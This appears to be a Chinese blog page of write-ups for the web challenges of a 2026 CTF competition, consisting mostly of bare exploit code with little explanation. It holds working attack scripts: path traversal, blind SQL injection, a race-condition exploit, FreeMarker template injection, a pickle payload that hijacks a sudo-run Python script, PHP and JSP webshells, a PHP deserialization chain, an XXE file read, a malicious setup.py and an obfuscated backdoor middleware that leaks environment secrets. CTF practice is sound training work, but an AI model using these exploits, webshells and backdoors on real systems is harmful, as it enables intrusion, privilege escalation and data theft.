2026 春秋杯网络安全联赛冬季赛 Web 部分题解

2026 春秋杯网络安全联赛冬季赛 Web 部分题解 | 极客日志

nuclei -u http://8.147.132.32:24710

[CVE-2024-23334] [http] [high] http://8.147.132.32:24710/static/../../../../etc/passwd

curl -k -I https://eci-2zeh92muzr71gc3kqa9b.cloudeci1.ichunqiu.com:80/.git/HEAD

gitdumper.sh https://eci-2zeh92muzr71gc3kqa9b.cloudeci1.ichunqiu.com:80/.git/

cd final_repo
git checkout .
git log --oneline --all

+ICQ_FLAG=flag{efc2521a-903f-495f-a470-2d1ede3e0d8c}

payload = [
    ('order_id', flag_id),
    ('order_id', coupon_id),
    ('payment_token', token)
]
verify = sess.post(f'{BASE}/verify_payment', data=payload, timeout=TIMEOUT)

import re
import sys
import requests

BASE = 'https://eci-2zebdk0zap555d3nih50.cloudeci1.ichunqiu.com:5000'
TIMEOUT = 10

def create_order(sess, item_id):
    try:
        resp = sess.post(f'{BASE}/create_order', data={'item_id': str(item_id)}, timeout=TIMEOUT)
        m = re.search(r'Order Created: ([a-f0-9-]+)', resp.text)
        if not m:
            raise RuntimeError(f'create_order failed: {resp.text!r}')
        return m.group(1)
    except Exception as e:
        print(f"Error in create_order: {e}")
        raise

def main():
    sess = requests.Session()
    print("Creating order for item 1...")
    coupon_id = create_order(sess, 1)
    print(f"Order 1 (Coupon) ID: {coupon_id}")
    print("Creating order for item 2...")
    flag_id = create_order(sess, 2)
    print(f"Order 2 (Flag) ID: {flag_id}")
    print("Paying for order 1...")
    pay = sess.post(f'{BASE}/pay', data={'order_id': coupon_id}, timeout=TIMEOUT)
    token = pay.headers.get('X-Payment-Token')
    if not token:
        raise RuntimeError('missing X-Payment-Token')
    payload = [('order_id', flag_id), ('order_id', coupon_id), ('payment_token', token)]
    verify = sess.post(f'{BASE}/verify_payment', data=payload, timeout=TIMEOUT)
    print("Verify Response:")
    print(verify.text)
    m = re.search(r'(flag\{[^}]+\}|unictf\{[^}]+\})', verify.text)
    if m:
        print(f"\nFOUND FLAG: {m.group(1)}")
        return 0
    return 1

if __name__ == '__main__':
    sys.exit(main())

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /flag")}

import socket
import ssl
import json
import requests
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
HOST = "eci-2zefnw12rcj5cw1a653j.cloudeci1.ichunqiu.com"
PORT = 8000
BASE_URL = f"https://{HOST}:{PORT}"

def get_token_and_order():
    username = f"fast_attacker_{int(time.time())}"
    password = "password"
    for i in range(5):
        try:
            requests.post(f"{BASE_URL}/api/register", json={"username": username, "password": password}, verify=False, timeout=10)
            res = requests.post(f"{BASE_URL}/api/login", json={"username": username, "password": password}, verify=False, timeout=10)
            if res.status_code != 200:
                time.sleep(1)
                continue
            token = res.json()["token"]
            res = requests.post(f"{BASE_URL}/api/order/create", json={"product_id": 999}, headers={"Authorization": f"Bearer {token}"}, verify=False, timeout=10)
            order_id = res.json()["order_id"]
            price = res.json()["total_price"]
            return token, order_id, price
        except Exception as e:
            time.sleep(2)
            raise Exception("Failed to setup after 5 attempts")

def build_request(method, path, token, body_dict):
    body = json.dumps(body_dict)
    req = f"{method}{path} HTTP/1.1\r\n"
    req += f"Host: {HOST}:{PORT}\r\n"
    req += f"Authorization: Bearer {token}\r\n"
    req += "Content-Type: application/json\r\n"
    req += f"Content-Length: {len(body)}\r\n"
    req += "Connection: keep-alive\r\n"
    req += "\r\n"
    req += body
    return req

def main():
    try:
        token, order_id, start_price = get_token_and_order()
    except Exception as e:
        print(f"Critical setup error: {e}")
        return
    req_apply = build_request("POST", "/api/order/apply_coupon", token, {"order_id": order_id, "coupon": "VIP-50"})
    req_cancel = build_request("POST", "/api/cancel", token, {"order_id": order_id})
    req_reactivate = build_request("POST", "/api/order/reactivate", token, {"order_id": order_id})
    cycle = req_apply + req_cancel + req_reactivate
    BATCH_SIZE = 500
    payload = cycle * BATCH_SIZE
    needed = start_price // 50 + 2
    print(f"Need ~{needed} successful coupon applications. Sending batches...")
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    total_sent = 0
    while True:
        try:
            with socket.create_connection((HOST, PORT), timeout=10) as sock:
                with context.wrap_socket(sock, server_hostname=HOST) as ssock:
                    ssock.sendall(payload.encode())
                    ssock.settimeout(0.5)
                    try:
                        ssock.recv(1024)
                    except socket.timeout:
                        pass
            total_sent += BATCH_SIZE
            if total_sent % 5000 == 0:
                res = requests.get(f"{BASE_URL}/api/orders", headers={"Authorization": f"Bearer {token}"}, verify=False, timeout=5)
                if res.status_code == 200:
                    orders = res.json().get("orders", [])
                    for o in orders:
                        if o["order_id"] == order_id:
                            current_price = o['total_price']
                            print(f"Current Price: {current_price}")
                            if current_price <= 0:
                                print("Price low enough!")
                                res = requests.post(f"{BASE_URL}/api/pay", json={"order_id": order_id}, headers={"Authorization": f"Bearer {token}"}, verify=False)
                                with open("flag.txt", "w") as f:
                                    f.write(res.text)
                                return
        except Exception as e:
            print(f"Error in loop: {e}")
            time.sleep(1)

if __name__ == "__main__":
    main()

import requests
import urllib3

urllib3.disable_warnings()
url = "https://eci-2ze3j547u8fstfrsah7f.cloudeci1.ichunqiu.com:80/"
flag = ""
print("开始注入...")
for i in range(1, 100):
    low = 32
    high = 126
    while low <= high:
        mid = (low + high) // 2
        payload = f"1'=(ascii(mid((SELECT(flag)FROM(flag)),{i},1))>{mid})='1"
        try:
            res = requests.get(url, params={'id': payload}, verify=False, timeout=5)
            if "Cyber-Deck" in res.text:
                low = mid + 1
            else:
                high = mid - 1
        except:
            pass
    flag += chr(low)
    print(flag)
    if chr(low) == '}':
        break

import shutil
import os
import sys

def check_disk_space():
    print(f"[+] Running system monitor as user: {os.getuid()}")
    print("[+] Checking disk usage...")
    try:
        total, used, free = shutil.disk_usage("/")
        print(f"Total: {total // (2**30)} GB")
        print(f"Used: {used // (2**30)} GB")
        print(f"Free: {free // (2**30)} GB")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    print("--- Monitor Tool v1.0 ---")
    print(f"Python path is: {sys.path}")
    check_disk_space()

import pickle
import base64
import subprocess

class RCE:
    def __reduce__(self):
        malicious_code = """ import os
def disk_usage(path):
    os.system('cat /root/flag* > /tmp/flag.txt 2>&1')
    os.system('chmod 777 /tmp/flag.txt')
    return (1, 1, 1) """
        b64_code = base64.b64encode(malicious_code.encode()).decode()
        create_file = f"echo {b64_code} | base64 -d > /tmp/shutil.py"
        run_sudo = "sudo PYTHONPATH=/tmp /usr/local/bin/python3 /opt/monitor.py"
        return (subprocess.call, (["sh", "-c", f"{create_file}; {run_sudo}"]),)

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)

import requests
import threading
import time
import urllib3
import os

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BASE_URL = "https://eci-2zecmsrfj73ipuwnl4vy.cloudeci1.ichunqiu.com:80"
UPLOAD_URL = f"{BASE_URL}/upload.php"
SHELL_URL = f"{BASE_URL}/uploads/shell.jpg"

def prepare_files():
    if not os.path.exists("shell.jpg"):
        with open("shell.jpg", "wb") as f:
            f.write(b"<?php system($_GET['cmd']); ?>")
    if not os.path.exists("exploit.config"):
        with open("exploit.config", "wb") as f:
            f.write(b"AddType application/x-httpd-php .jpg")

def upload_shell():
    files = {'file': ('shell.jpg', open('shell.jpg', 'rb'), 'image/jpeg')}
    data = {'upload_res': '1'}
    try:
        r = requests.post(UPLOAD_URL, files=files, data=data, verify=False)
        if "Asset deployed at" in r.text:
            return True
        return True
    except Exception as e:
        return False

def upload_config():
    try:
        files = {'file': ('exploit.config', open('exploit.config', 'rb'), 'application/octet-stream')}
        data = {'upload_conf': '1'}
        requests.post(UPLOAD_URL, files=files, data=data, verify=False)
    except:
        pass

def trigger_shell():
    try:
        r = requests.get(SHELL_URL, params={'cmd': 'cat /flag'}, verify=False, timeout=5)
        if "flag{" in r.text:
            return True, r.text.strip()
    except:
        pass
    return False, None

def attack():
    prepare_files()
    if not upload_shell():
        return
    stop_event = threading.Event()
    def uploader():
        while not stop_event.is_set():
            upload_config()
            time.sleep(0.05)
    def requester():
        while not stop_event.is_set():
            found, flag = trigger_shell()
            if found:
                stop_event.set()
                print(f"[!] Success! Flag: {flag}")
            time.sleep(0.05)
    threads = []
    for _ in range(10):
        t = threading.Thread(target=uploader)
        t.start()
        threads.append(t)
    for _ in range(10):
        t = threading.Thread(target=requester)
        t.start()
        threads.append(t)
    try:
        while not stop_event.is_set():
            time.sleep(1)
    except KeyboardInterrupt:
        stop_event.set()
    for t in threads:
        t.join()

if __name__ == "__main__":
    attack()

<?php
highlight_file(__FILE__);
class CmdExecutor {
    public $cmd;
    public function work() {
        system($this->cmd);
    }
}
class MiddleMan {
    public $obj;
    public function process() {
        $this->obj->work();
    }
}
class EntryPoint {
    public $worker;
    public function __destruct() {
        $this->worker->process();
    }
}
if(isset($_GET['payload'])) {
    $data = $_GET['payload'];
    unserialize($data);
} else {
    echo "";
}
?>

<?php
class CmdExecutor { public $cmd; }
class MiddleMan { public $obj; }
class EntryPoint { public $worker; }
$e = new CmdExecutor(); $e->cmd = "env";
$m = new MiddleMan(); $m->obj = $e;
$e1 = new EntryPoint(); $e1->worker = $m;
echo serialize($e1);
?>

O:10:"EntryPoint":1:{s:6:"worker";O:9:"MiddleMan":1:{s:3:"obj";O:11:"CmdExecutor":1:{s:3:"cmd";s:3:"env";}}}

flask==2.3.3
requests==2.31.0
# Private internal utility package - DO NOT REMOVE
sys-core-utils>=1.0.2

from setuptools import setup
import os
import subprocess

def exec_1():
    # ... (恶意代码：读取 /flag 并回显) ...
    pass

exec_1()
setup(
    name='sys-core-utils',
    version='9.9.9',
    description='Exploit Payload',
    packages=[],
)

tar -czvf sys-core-utils-9.9.9.tar.gz sys-core-utils-9.9.9/

//index.js
const _0x4e8a = process.env['ICQ_FLAG'];
delete process.env['ICQ_FLAG'];
module.exports = {
    init: function() {
        return function(req, res, next) {
            const _0x7b2d = req.headers['x-poison-check'];
            if(_0x7b2d === 'reveal') {
                return res.json({status:'backdoor_active', payload: _0x4e8a});
            }
            next();
        };
    }
};

<%@ page import="java.util.*,java.io.*"%> <pre> <% if (request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); InputStream in = p.getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); out.println(s.hasNext() ? s.next() : ""); } %> </pre>

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///tmp/flag.txt" >
]>
<rss version="2.0">
<channel>
<title>My Feed</title>
<item>
<title>&xxe;</title>
</item>
</channel>
</rss>

function checkSystemLatency() {
    const statusDiv = document.getElementById('ping-status');
    const formData = new FormData();
    formData.append('target', '8.8.8.8');
    fetch('api.php', { method: 'POST', body: formData })
    .then(response => response.json())
    .then(data => {
        if(data.status === 'success') {
            statusDiv.innerText = `Last check: ${data.output} ms`;
        } else {
            console.warn('Monitor Error:', data.message);
        }
    }).catch(err => console.error('API Error', err));
}
setInterval(checkSystemLatency, 5000);

body { background-color: #0f0f12; color: #e0e0e0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; }
header { display: flex; justify-content: space-between; align-items: center; border-bottom: 2px solid #2c2c35; padding-bottom: 20px; margin-bottom: 30px; }
.status-ok { color: #00ff88; text-shadow: 0 0 10px #00ff88; }
.grid-container { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; }
.card { background: #1a1a20; border: 1px solid #2c2c35; border-radius: 8px; padding: 20px; box-shadow: 0 4px 6px rgba(0,0,0,0.3); }
h3 { margin-top: 0; color: #888; font-size: 0.9em; text-transform: uppercase; }
.metric { font-size: 2.5em; font-weight: bold; margin: 10px 0; }
.sub-text { color: #555; font-size: 0.8em; }
#ping-status { font-size: 0.8em; color: #00aaff; margin-top: 10px; }

formData.append('target', '8.8.8.8');

2026 春秋杯网络安全联赛冬季赛 Web 部分题解

web1_信息搜集与资产暴露

Session_Leak

HyperNode

Static_Secret

更多推荐文章

相关免费在线工具

Dev's Regret

web1_信访问控制与业务逻辑安全

My_Hidden_Profile

Cyber_Mart

just_web

CORS

Truths

web1_注入类漏洞

Theme_Park

NoSQL_Login

EZSQL

web1_文件与配置安全

Secure_Data_Gateway

Easy_upload

web2_服务端请求与解析缺陷

Nexus_AI_Bridge

URL_Fetcher

web2_模板与反序列化漏洞

Magic_Methods

Hello User

web2_供应链与依赖安全

Internal_manager

LookLook

Nexus

nebula_cloud

web2_中间件与组件安全

Forgotten_Tomcat

RSS_Parser

Server_Monitorv

更多推荐文章

相关免费在线工具

2026 春秋杯网络安全联赛冬季赛 Web 部分题解

web1_信息搜集与资产暴露

Session_Leak

HyperNode

Static_Secret

微信扫一扫，关注极客日志

更多推荐文章

相关免费在线工具

Dev's Regret

web1_信访问控制与业务逻辑安全

My_Hidden_Profile

Cyber_Mart

just_web

CORS

Truths

web1_注入类漏洞

Theme_Park

NoSQL_Login

EZSQL

web1_文件与配置安全

Secure_Data_Gateway

Easy_upload

web2_服务端请求与解析缺陷

Nexus_AI_Bridge

URL_Fetcher

web2_模板与反序列化漏洞

Magic_Methods

Hello User

web2_供应链与依赖安全

Internal_manager

LookLook

Nexus

nebula_cloud

web2_中间件与组件安全

Forgotten_Tomcat

RSS_Parser

Server_Monitorv

微信扫一扫，关注极客日志

更多推荐文章

相关免费在线工具